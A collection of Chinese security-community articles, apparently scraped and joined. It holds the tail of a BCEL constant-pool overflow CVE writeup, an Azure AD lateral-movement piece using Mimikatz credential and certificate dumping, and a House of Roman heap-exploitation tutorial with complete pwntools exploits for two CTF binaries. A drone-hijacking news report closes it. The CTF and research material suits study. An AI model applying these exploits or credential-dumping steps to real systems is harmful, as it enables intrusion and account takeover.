"toString", Type.STRING, Type.NO_ARGS,
Constants.INVOKEVIRTUAL));
il.append(factory.createInvoke("java.io.PrintStream", "println",
Type.VOID, new Type[] { Type.STRING },
Constants.INVOKEVIRTUAL));
il.append(InstructionConstants.RETURN);
// finalization
mg.setMaxStack();
cg.addMethod(mg.getMethod());
il.dispose();
cg.addEmptyConstructor(ACC_PUBLIC);
// dump the class
cg.getJavaClass().dump("HelloWorld.class");
System.out.println("dump successly");
} catch (java.io.IOException e) {
System.err.println(e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
运行上面的代码，可以得到一个类文件
主要是在后面通过`cg.getJavaClass.dump`中进而调用了`ConstantPool#dump`方法写入文件
根据上面的描述，如果我们在前面添加一些垃圾数据，将会导致越界写入
我这里通过添加65500个变量来作为垃圾数据进行填充
for (int j = 0; j < 65500; j++) {
lg = mg.addLocalVariable("name" + j, Type.STRING, null, null);
int name = lg.getIndex();
il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top
lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var
}
通过调试，我们可以知道这时候的`constantPool.length=65570`
将会导致多余的常量越界写入，这里我就是任意的二进制数据，可以精心构造一个完整的class文件
## 漏洞修复
官方通过增加上限的方式在关键方法增加了判断
比如在`ConstantPoolGen`的构造方法中初始化常量数组的过程中
又或者是在`adjustSize`方法中添加判断
最后在调用`dump`方法进行转换的时候也进行了限制
尝试进行写入：
将会抛出异常
## 总结
虽然这是一个影响范围并不高的CVE，但是还是能从中学到一些东西，善于关注有没有上限下限的限制？或许会有不错的收获 | 社区文章 |
### 0x01 前言
在过去的几年时间里，我们都是在分享关于本地域环境的横向移动技巧，比如 `BloodHound` ，它可以通过映射本地 Windows
计算机、本地管理员和登陆的与用户来收集，并将结果进行可视化，列举出有可能进行的横向移动路径。
因此我也很好奇，这类方法是否可以在 `Azure AD 环境`中进行实践？答案是可以的。在 Azure AD
环境中，计算机和用户都在云环境中进行管理。同样，在这些计算机中收集其它用户的凭证并进行模拟，也是可行的。
本文中将讲解 Azure AD 与 本地域环境之间的差异，如何将应用于本地域环境的技术能作用于 Azure AD环境。
### 0x01 Mimikatz 的作用
尽管转存用户登陆凭证并不是模拟该用户的唯一方法，但是在 [Mimikatz
2.2.0-20190720](https://github.com/gentilkiwi/mimikatz/tree/2.2.0-20190720)
的发行版中，已经支持转存 Windows 10（内部版本为 17763.615）中 lsass.exe 进程的内存空间，其中包括 Azure AD
上的计算机。
在已加入 Azure AD 的计算机中，用户在 Azure AD 环境中输入用于身份验证的凭证，该凭证经过 RC4 存储在 lsass.exe 中，而
Mimikatz 2.2.0 可以转储它们。
<center>从已加入 Azure AD 环境的计算机中使用 Mimikatz 转存凭证</center>
### 0x01 云环境与本地环境的区别
在讨论横向移动问题之前，我想先说明一下加入 Azure AD 中的计算机与加入本地域环境的计算机之间的差别，这样对于技术差别上更加容易理解。
#### 2.1、认证协议
在上个章节获取该 NTLM 哈希时，我觉得我成功了，可通过哈希传递就可以进行横向移动。但是，实际上在 Azure AD
环境中并没有本地域控制器，所以该环境并不支持 `Kerberos` 和 `NTLM` 认证，因此，如果不将该 NTLM 哈希进行破解，该 NTLM
哈希则将毫无价值。这就是最重要的区别之一
#### 2.2、用户表达式的区别
在 Azure AD 环境中，用户名的 FQDN 表示为：`user@directory name.onmicrosoft.com` ，而本地 AD
环境的用户则表示为：`Domain\User`
#### 2.3、 用户账号标识的区别
在 Active Directory 环境中，用户账号在 DC 上和在用户计算机上的本地 SAM 中都是使用安全标识（SID）表示，但是在 Azure AD
环境中，用户账号则使用 GUID（又名 Azure AD id）表示，该 GUID 与原始 SID 不同，该原始 SID
仍代表端点上的账户。而为了克服这种差异情况，并使得 Azure AD 账号可以成为 Windows 计算机上的本地组成员，则需要将 GUID 转换为 SID
这种表示形式。
通过将 “S-1-12-1-” 与 GUID 的简单拆分处理后进行组合是可以将用户的GUID 转换成 SID 的：
[base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
例如：当GUID 为 `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` 时，转换后为
`S-1–12–1–1789435595–1301421967–3702525313–2188119011`
<center>Azure AD 用户的 ID</center>
<center>将十六进制 ID 转换，以构建用户 SID</center>
#### 2.4、本地管理员组
本地计算机 SAM 数据库使用的是用户和组转换后的 GUID（也就是最后的
SID）。[默认情况下](https://docs.microsoft.com/en-us/azure/active-directory/devices/assign-local-admin)，Azure AD 的两个管理角色（“Global administrator”
和 “Device administrator” ）以及计算机的所有者（执行加入 Azure AD 过程的账户）是本地 Administrators
组成员。
<center>转换后的 ID 作为 Azure AD 计算机上的 SID 表示形式</center>
简单总结下区别：
* Azure AD 环境的身份验证协议不是 Kerberos 和 NTLM
* 用户的 FQDN 表示不同
* 默认情况下，加入 Azure AD 的计算机中，会设置新的本地管理员组
* Azure AD 用户在计算机的 SAM 数据库中的表现形式不同于本地活动目录中的有效 SID，而是云用户 ID 的表示形式
### 0x02 计算机间的认证协议
上个章节提到 Azure AD 组成员和计算机的所有者是本地管理员，因此可以模拟系统账号，转存 lsass.exe
的内存，进一步查找其他已登陆过的用户的凭证。
<center>从已加入 Azure AD 环境的计算机中使用 Mimikatz 转存凭证</center>
尚未解决的问题是：如何在已加入 Azure AD 环境的计算机上模拟具有本地管理员权限的登陆用户。
* Token 操作可能是一个很好的解决方案，但是 Windows 10 不支持。
* PTT、PTH 要求 Kerberos、NTLM 协商，但 Azure AD 均不支持这两种协议。
现在， ** _我想知道两台 Azure AD 的机器之间是怎么进行身份验证的_** 。自 Windows 7 和 Windows Server 2008
R2 之后，安全服务提供程序（SSP）就支持对加入 Azure AD 的计算机之间进行进行身份验证，例如，在 Azure AD 环境中的 `NEGOEX
PKU2U`（基于公钥密码的 User-to-User）。
对于我们而言，很希望可以通过网络进行身份验证。
SMB2 身份验证协商可以依赖于 Kerberos 协议扩展、NTLM 身份验证协议，又可以依赖于简单和受保护的 GSS-API
协商（SPNEGO）。因此通过 GSS-API 协议 `Challenge/Response` 扩展机制 `NEGOEX
PKU2U`，如下图及微软官方的[网络数据包分析](https://docs.microsoft.com/zh-cn/archive/blogs/openspecification/a-quick-look-at-the-new-negotiation-mechanism-negoex-used-with-spnego-in-windows-7)所示:
`NEGOEX PKU2U` 是基于 Kerberos PKINIT 消息，该消息还用于本地域环境中的智能卡身份验证。在请求远程计算机（已加入Azure
AD ）进行身份验证时，从联机 ID 提供程序（AKA Azure AD）中获得一个用户证书，该证书针对特定用户颁发了一个小时时限的证书，并使用联机 ID
体统程序的 CA 私钥进行签名。
为了允许证书验证，计算机在 P2P 的连接过程中获得 联机 ID 证书的公共对，当 Kerberos 应用程序请求验证用户的真实性时，远程 Windows
计算机将使用 CA 配对的公钥验证签名时间戳和随机数据（也称为“authenticator”），以验证用户证书的真实性。
<center>服务器上的 CA 的权限</center>
<center>带有私钥的客户证书</center>
由于 Mimikatz 能够使用本地管理员权限来转存客户端的证书以及私钥，因此一旦获取这些凭证，通过 `NEGOEX PKU2U`
来模拟用户将会变得非常简单。
在另外的机器上模拟另一个计算机账号似乎更可行，因为该计算机账号的证书在长达一年的时间内都是有效的，但是我不确定它会（能）在域中做什么。
<center>使用 Mimikatz 在已加入 Azure AD 的计算机上转存证书</center>
### 0x03 结论
综上所述，Azure AD 环境与本地 AD 有着巨大的区别，它不再基于 Kerberos KDC 和 NTLM。计算机上的用户表示已更改，并且每台加入
Azure AD 的计算机上都默认有本地管理员。但是，就算如此，Azure AD 环境仍然会受到横向移动的技术攻击。
原文：`https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56` | 社区文章 |
# House-Of-Roman学习笔记
最近整理护网杯的题目（今年护网杯凉了），发现去年还留下一题pwn没有完成，题目提示是house of
roman，最近一次比赛也出现了一道叫fkroman的题目，估计也是涉及这个知识点，趁此机会学习一下house of roman，把去年留下的坑填上。
## 原理简述
House of
Roman这个攻击方法由romanking98在2018年4月提出（作者GitHub：<https://github.com/romanking98/House-Of-Roman> ），主要用于程序无打印功能，在不泄露libc地址的前提下，通过低位地址写+爆破的方法来bypass ALSR。
忽略堆风水具体操作细节，简单总结House of Roman攻击原理就是：
* 通过低位地址写修改fastbin的fd，修改到`malloc_hook-0x23`
* 通过unsortedbin attack，将`main_arean`地址写入`malloc_hook`
* 使用fastbin attack，通过低位地址写修改`malloc_hook`中的地址为`one gadget`
至于具体如何进行`fastbin attack`和`unsortedbin attack`，要根据题目进行具体分析，下面通过例题进行详细分析。
## 实战例题
进行本地调试时，可以先把ASLR关掉
echo 0 > /proc/sys/kernel/randomize_va_space
完成exp后爆破使用脚本：
#!/bin/bash
for i in `seq 1 9999`; do python exp.py; done;
### 护网杯2018 calendar
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax
char s; // [rsp+10h] [rbp-50h]
char v5; // [rsp+4Fh] [rbp-11h]
unsigned __int64 v6; // [rsp+58h] [rbp-8h]
v6 = __readfsqword(0x28u);
init_0();
printf("input calendar name> ", a2);
memset(&s, 0, 0x40uLL);
get_str((__int64)&s, 64);
v5 = 0;
printf("welcome to use %s\n", &s);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
remove();
}
else if ( v3 == 4 )
{
exit(0);
}
}
else if ( v3 == 1 )
{
add();
}
}
}
程序菜单：
---------calendar management--------- 1. add a schedule
2. edit a schedule
3. remove a schedule
4. exit
程序只有add，edit，remove
三个功能，跟常见的题目相比，明显少了一个show的功能，因此正常情况下缺少泄露地址的手段（当然有其他手段，暂且不提）。
漏洞点一：程序的读取输入函数存在off by one。
__int64 __fastcall sub_B5F(__int64 a1, signed int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; (signed int)i <= a2; ++i )
{
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( buf == 10 )
{
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return i;
}
漏洞二：remove没有清空指针，存在double free。
void remove()
{
int v0; // [rsp+Ch] [rbp-4h]
v0 = day();
if ( v0 != -1 )
free((void *)qword_202060[v0]);
}
程序add的size最大只是0x68，因此不能直接申请到unsorted bins的大小，需要通过off by
one修改chunk的size进行overlapping。
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
修改前
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000 0x0000000000000021
0x556cfeda2010: 0x0000000000000000 0x0000000000000000
0x556cfeda2020: 0x0000000000000000 0x0000000000000071
0x556cfeda2030: 0x0000000000000000 0x0000000000000000
0x556cfeda2040: 0x0000000000000000 0x0000000000000000
修改后，可以看到1号chunk的size变成了0xe1
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000 0x0000000000000021
0x556cfeda2010: 0x6161616161616161 0x6161616161616161
0x556cfeda2020: 0x6161616161616161 0x00000000000000e1
0x556cfeda2030: 0x0000000000000000 0x0000000000000000
0x556cfeda2040: 0x0000000000000000 0x0000000000000000
此时free掉1号chunk，会把2号chunk吞掉，组成一个0xe0大小的unsortedbin，这是本题得到libc地址的基础。
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x556cfeda2020 —▸ 0x7fe8036d6b78 (main_arena+88) —▸ 0x556cfeda2020 ◂— 0x7fe8036d6b78
smallbins
empty
largebins
empty
**攻击第一步**
：通过低位地址写修改fastbin的fd到`malloc_hook-0x23`，为什么是这里？因为这里有一个0x7f，用于后续的fastbin
attack。
pwndbg> x/8gx 0x7fe8036d6b10-0x23
0x7fe8036d6aed <_IO_wide_data_0+301>: 0xe8036d5260000000 0x000000000000007f
0x7fe8036d6afd: 0xe803397e20000000 0xe803397a0000007f
0x7fe8036d6b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7fe8036d6b1d: 0x0100000000000000 0x0000000000000000
现在的任务是让fastbins链中写入一个libc的地址，我们可以在上面的代码做个小修改，在进行off by
one之前，先把1号chunk释放掉，让它进入fastbins，再进行overlapping。
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
这样可以让fastbin和unsortedbin重叠
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562020 ◂— 0x7f6faea28b78
0x80: 0x0
unsortedbin
all: 0x55db47562020 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562020 ◂— 0x7f6faea28b78
smallbins
empty
largebins
empty
然后申请一个非0x70大小的chunk（因为申请0x70大小会优先使用fastbin），此时会使用`unsortedbin`进行分配，对此chunk进行edit就可以对fd进行低位地址写。
add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2]) # p16(2aed)
edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13
完成后可以看到fastbin的fd指向`_IO_wide_data_0+301`，也就是`__malloc_hook-0x23`
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 —▸ 0x7f6faea28aed (_IO_wide_data_0+301) ◂— 0x6fae6e9e20000000
0x80: 0x0
unsortedbin
all: 0x55db47562040 —▸ 0x7f6faea28b78 (main_arena+88) —▸ 0x55db47562040 ◂— 0x7f6faea28b78
smallbins
empty
largebins
empty
再次使用`off by
one`重新修改0x55db47562020的size位为0x71，恢复fastbin的正常结构。进行两次分配后，可以申请到`__malloc_hook-0x13`的位置，查看程序存储chunk地址的list可以看到0号chunk指向了`__malloc_hook-0x13`。
pwndbg> x/8gx 0x55db46403000+0x202060
0x55db46605060: 0x00007f6faea28afd 0x000055db47562030
0x55db46605070: 0x000055db475620a0 0x000055db47562030
0x55db46605080: 0x0000000000000068 0x0000000000000068
0x55db46605090: 0x0000000000000068 0x0000000000000018
**攻击第二步** ：通过unsortedbin attack，将`main_arean`地址写入`malloc_hook`。
由于本题限制了最大只能申请0x70大小的内存，因此在进行unsortedbin
attack前，首先需要修复fastbin，不然后续会发生报错。修复方法很简单，free掉一个0x70大小的chunk，然后使用UAF将fd修改为0，然后申请一个0x70大小的chunk，清空fastbin。
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)
首先申请一个0x50大小的，使unsortedbin与2号chunk重叠，然后直接对2号chunk进行edit，就可以进行低地址写，修改unsortedbin的bk为`__malloc_hook-0x10`。然后申请一个0x70大小的chunk，触发unsortedbin
attack，可以看到`__malloc_hook`的值已被修改为`main_arena+88`
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
pwndbg> p __malloc_hook
$2 = (void *(*)(size_t, const void *)) 0x7f6faea28b78 <main_arena+88>
**最后一步** ：使用fastbin attack，通过低位地址写修改`malloc_hook`中的地址为`one gadget`。
至此，一切攻击都准备就绪了。第一步完成时，3号chunk已经指向了`__malloc_hook-0x13`，这里直接对3号chunk进行edit，修改`__malloc_hook`的低3位地址为`one
gadget`。然后使用double free触发调用`__malloc_hook`即可getshell。
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])
remove(3)
remove(3)
pwndbg> p __malloc_hook
$3 = (void *(*)(size_t, const void *)) 0x7f6fae7542a4 <exec_comm+1140>
完整exp：
from pwn import *
target = 'calendar'
elf = ELF('./'+target)
context.binary = './'+target
p = process('./'+target)
libc = elf.libc
def add(idx,size):
p.sendlineafter('choice> ','1')
p.sendlineafter('choice> ',str(idx+1))
p.sendlineafter('size> ',str(size))
def edit(idx,size,content):
p.sendlineafter('choice> ','2')
p.sendlineafter('choice> ',str(idx+1))
p.sendlineafter('size> ',str(size))
p.sendafter('info> ',content)
def remove(idx):
p.sendlineafter('choice> ','3')
p.sendlineafter('choice> ',str(idx+1))
libc.address = 0x233000
p.sendlineafter('name> ','kira')
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2])
edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])
remove(3)
remove(3)
p.interactive()
### 云安全共测大赛 fkroman
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-2Ch]
int v5; // [rsp+8h] [rbp-28h]
unsigned int v6; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
init_0();
for ( i = 0; i <= 4095; ++i )
{
menu();
memset(&s, 0, 0x10uLL);
get_str((__int64)&s, 15);
v5 = atoi(&s);
if ( v5 == 5 )
break;
printf("Index: ", 15LL);
get_str((__int64)&s, 15);
v6 = atoi(&s);
if ( v5 == 2 ) // show
{
puts("No way");
continue;
}
if ( v5 > 2 )
{
if ( v5 == 3 )
{
remove(v6);
continue;
}
if ( v5 == 4 )
{
edit(v6);
continue;
}
}
else if ( v5 == 1 )
{
add(v6);
continue;
}
puts("Invalid option!\n");
}
return 0LL;
}
程序菜单：
1.alloc
2.show
3.free
4.edit
5.exit
虽然菜单里面有show，然而是用不了的。跟上一题类似，有alloc，free，edit的功能，没有打印信息的函数。
漏洞一：free之后没有清空指针，存在double free。
int __fastcall remove(unsigned int a1)
{
int result; // eax
if ( a1 <= 0xFF )
{
free((void *)qword_4060[a1]);
result = puts("Done!\n");
}
return result;
}
漏洞二：edit的时候，输入长度由用户输入决定，直接就是一个堆溢出。
unsigned __int64 __fastcall edit(unsigned int a1)
{
int v1; // ST1C_4
char nptr; // [rsp+20h] [rbp-20h]
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( a1 <= 0xFF && qword_4060[a1] )
{
printf("Size: ");
get_str((__int64)&nptr, 16);
v1 = atoi(&nptr);
printf("Content: ", 16LL);
get_str(qword_4060[a1], v1);
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v4;
}
另外本题alloc时大小可控，没有限制，相比上一题难度低不少。
unsigned __int64 __fastcall add(unsigned int a1)
{
size_t size; // [rsp+1Ch] [rbp-24h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( a1 <= 0xFF )
{
printf("Size: ");
get_str((__int64)&size + 4, 16);
LODWORD(size) = atoi((const char *)&size + 4);
qword_4060[a1] = malloc((unsigned int)size);
if ( !qword_4060[a1] )
exit(0);
puts("Done!\n");
}
return __readfsqword(0x28u) ^ v3;
}
由于本题的漏洞时堆溢出，因此有部分攻击过程会比上题简单一点。第一步同样是通过修改chunk的size进行overlapping，制造重叠的chunk。唯一不同的地方是，进行修改的fastbin的fd和修复fastbin
size为0x71的步骤，可以通过一次edit完成。
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
这题也没有限制malloc大小，可以直接申请大于0x70大小的chunk，因此修复fastbin链的步骤也可以跳过。上一个步骤是直接使用堆溢出来修改fd，没有申请chunk，制造重叠chunk进行edit，此时unsortdbin的位置没有变动。
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0xab7cebee20000000
0x80: 0x0
unsortedbin
all: 0x56160694b020 —▸ 0x7fab7d1fdaed (_IO_wide_data_0+301) ◂— 0xab7cebee20000000
smallbins
empty
largebins
empty
继续对0号chunk进行堆溢出就可以修改unsortedbin的BK，注意需要把chunk size修复为0xe1。这里我没有使用double
free触发报错，直接调用malloc就成功getshell。
edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
完整EXP：
def pwn():
def alloc(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def edit(idx,size,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
# house of roman
libc.address = 0x233000
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
# fastbin attack
edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
# unsortedbin attack
edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
alloc(6,0xd0) # unsorted bins
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
p.interactive()
这题比护网杯的简单，不过核心的思路仍然是fastbin attack和unsortedbin attack。
## 更多思考
重新打开ASLR进行测试exp时，脸黑的兄弟会发现跑了很久很久都不成功，因为House-Of-Roman成功率实在有点感人，虽然大幅度降低了爆破的范围，仍然需要爆破12bit，也就是1/4096的成功率。今年各大比赛见过不少没有打印功能的题目，却鲜有人提及House-Of-Roman，为何？
原因很简单，因为有更好更稳定的攻击手段，就是修改`IO_FILE`结构体进行地址泄漏。以第二题fkroman为例，在第一步进行fastbin
attack时，将fd修改至stdout附近，然后修改stdout结构体，即可泄漏libc地址，后面修改`__malloc_hook`就无需进行低地址写爆破，将成功率提高到1/16，非洲人福音。
`_IO_2_1_stdout_`泄露地址的方法看其他大佬的文章，这里不展开说了，可以参考：<https://xz.aliyun.com/t/5057>
fkroman的exp可修改为：
def pwn():
def alloc(idx,size):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def edit(idx,size,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
global p
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
free(1)
edit(0,0x22,flat(0,0,0,0x71)+p16(0x65dd))
alloc(4,0x60)
alloc(5,0x60)
edit(5,0x54,'a'*0x33+p64(0xfbad2887|0x1000)+p64(0)*3+'\x00')
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
success(hex(libc.address))
free(2)
edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
alloc(6,0x60)
alloc(7,0x60)
edit(7,0x1b,'a'*0x13+p64(libc.address+0xf1147))
alloc(8,0x60)
p.interactive()
用这个exp的成功率大大提升，各位非洲人可以试试。
## 总结
House-Of-Roman的攻击思路很值得学习，不过改修改`IO_FILE`结构体的方法成功率更高，本地测试基本秒出，正常情况下还是优先考虑用此方法。
## 参考
<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_roman-zh/>
<https://github.com/romanking98/House-Of-Roman> | 社区文章 |
# 警方已掌握高端专用无人机的入侵破解技术
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://securityaffairs.co/wordpress/45039/hacking/hacking-professional-drones.html>
译文仅供参考，具体内容表达以及含义原文为准。
**无人机是利用无线电遥控设备和自备的程序控制装置操纵的不载人飞机。无人机按应用领域，可分为军用与民用。过去一年，无人机行业发展迅猛，文艺演出、体育赛事、活动庆典等场合，无人机频繁出现。**
但是近日有一名安全研究专家表示，他已研发出了针对高端专用无人机的劫持技术，而此项技术目前已经被政府部门以及执法机构所使用了。
今年的RSA大会在美国的旧金山成功举办，在这个一年一度的安全大会上，安全研究专家Nils
Rodday将他所研发出的[无人机](http://resources.infosecinstitute.com/hacking-drones-overview-of-the-main-threats/)劫持技术与全世界的信息安全爱好者进行了[分享](https://www.rsaconference.com/events/us16/agenda/sessions/2273/hacking-a-professional-drone)。
Rodday是IBM公司的安全研究专家，他毕业于荷兰屯特大学。当他还是该校的研究生时，他就已经在对无人机的安全方面进行研究了。
Rodday在研究过程中，将研究重点放在了高端专用无人机的远程劫持技术上面，而这项技术也在政府部门以及执法机构得到了广泛使用。这位安全专家在大会上向与会者解释称：在很多高端专用无人机的无线连接系统中存在安全漏洞，攻击者可以利用这个漏洞来获取无人机飞行控制系统的控制权。值得注意的是，攻击者仅仅需要一台笔记本电脑和一个便宜的USB连接芯片，就可以实施这类攻击了。
但是，这名安全研究专家并没有透露他所测试的无人机具体型号，因为在他进行演讲和展示之前，已经与相关[无人机飞行控制系统](http://securityaffairs.co/wordpress/40711/hacking/hacking-drones-design-flaws.html)的制造商们签订了保护协议。
据了解，在他所测试的无人机中，他发现无人机在与飞行控制模块进行通信时，设备并没有对这些通信数据进行加密处理。所以这也就意味着，攻击者就可以对无人机的系统组件进行逆向工程分析，这样就可以找出无人机飞行控制系统所接收的控制命令，然后就能够通过向飞行控制系统发送伪造的控制命令来进行攻击了。攻击者甚至还可以阻止飞行控制系统接收到真正的控制信号，而且还可以直接让无人机坠毁。
在典型的攻击场景中，攻击者可以将无人机与其飞行控制系统隔离开，然后阻止所有合法的控制命令传入系统。这样一来，攻击者就可以发送伪造的控制命令来对无人机进行劫持。
Roddy在接受Wired新闻采访时表示：“你可以站在攻击者的角度思考这一问题，有的人攻击无人机可能只是为了好玩，但是有的人可能就是为了搞破坏，甚至还有人想要通过劫持无人机来对某些目标进行监视。你可以向无人机的摄像头发送控制命令，然后控制摄像头转动方向。这样一来，攻击者就可以得到他们想要的图像资料了。除此之外，攻击者还可以直接“偷走”你的无人机，包括无人机上所有的硬件设备以及系统中存储的数据信息。”
在对无人机进行研究和分析的过程中，Rodday在无人机飞行控制系统中发现了两个严重的安全漏洞。比如说，他发现无人机飞行控制系统在对其Wi-Fi通信数据进行加密处理时采用的是弱加密，这也就意味着攻击者可以在几秒钟的时间里成功窃取到设备的通信数据。
这些安全问题存在于无人机的通信连接芯片（Xbee）之中，该芯片在对无人机飞行驾驶设备以及飞行控制设备（遥感控制器）之间的通信数据进行加密处理时，并没有采用健壮的加密算法，进而导致攻击者可以利用中间人攻击（MitM）来对无人机进行劫持。
攻击者可以截获无人机与遥感控制器之间的通信数据，并且将伪造的飞行控制数据传送至无人机的飞行控制系统中。
Rodday解释称，他所测试的无人机是荷兰警方用于监视的无人机，这类飞行控制系统的造价大约为21700美元。而且，这一型号的无人机目前已经在很多领域得到了广泛地使用，其中就包括农业以及对关键基础设施的保护上。
当Rodday将他的研究成果公布出来之后，很多人都开始担心。因为在这个物联网迅速发展的时代，无人机已经得到了广泛地使用。但是目前市场上正在出售的大多数无人机都有可能受到这些漏洞的影响，所以这才是最令人担心的一部分。
他解释到：“我认为在当前热门品牌的无人机中，很大一部分设备都存在这些漏洞。所以这些漏洞不仅会对相关无人机的制造商们产生影响，而且这与全世界的每一个人都会有关系。”
安全专家表示：“由于当前大多数无人机飞行控制系统的制造商们使用的是调查技术（Investigated
Technology），所以这些漏洞的影响还会更加的严重。我将会把研究成果与相关制造商们共享，希望相关厂商在了解到系统漏洞信息以及设备的设计缺陷之后，能够尽快设计出相应的解决方案，然后发布相应的漏洞修复补丁。”
他还补充说到：“据了解，现在越来越多的制造商会在设计和安装系统时，忽略了设备的安全设置，而且也不会将设备的硬件组成和系统架构信息公布出来。这也就使得无人机非常容易受到黑客的攻击。所以，如果要解决这些问题，无人机飞行控制系统的制造商们必须清楚地认识到信息安全的重要性，并付诸实践。”
作者建议大家阅读这篇由Rodday所发表的相关[文章](http://www.scribd.com/doc/301846838/Hacking-a-professional-drone#scribd)，因为这篇文章非常的有意思。
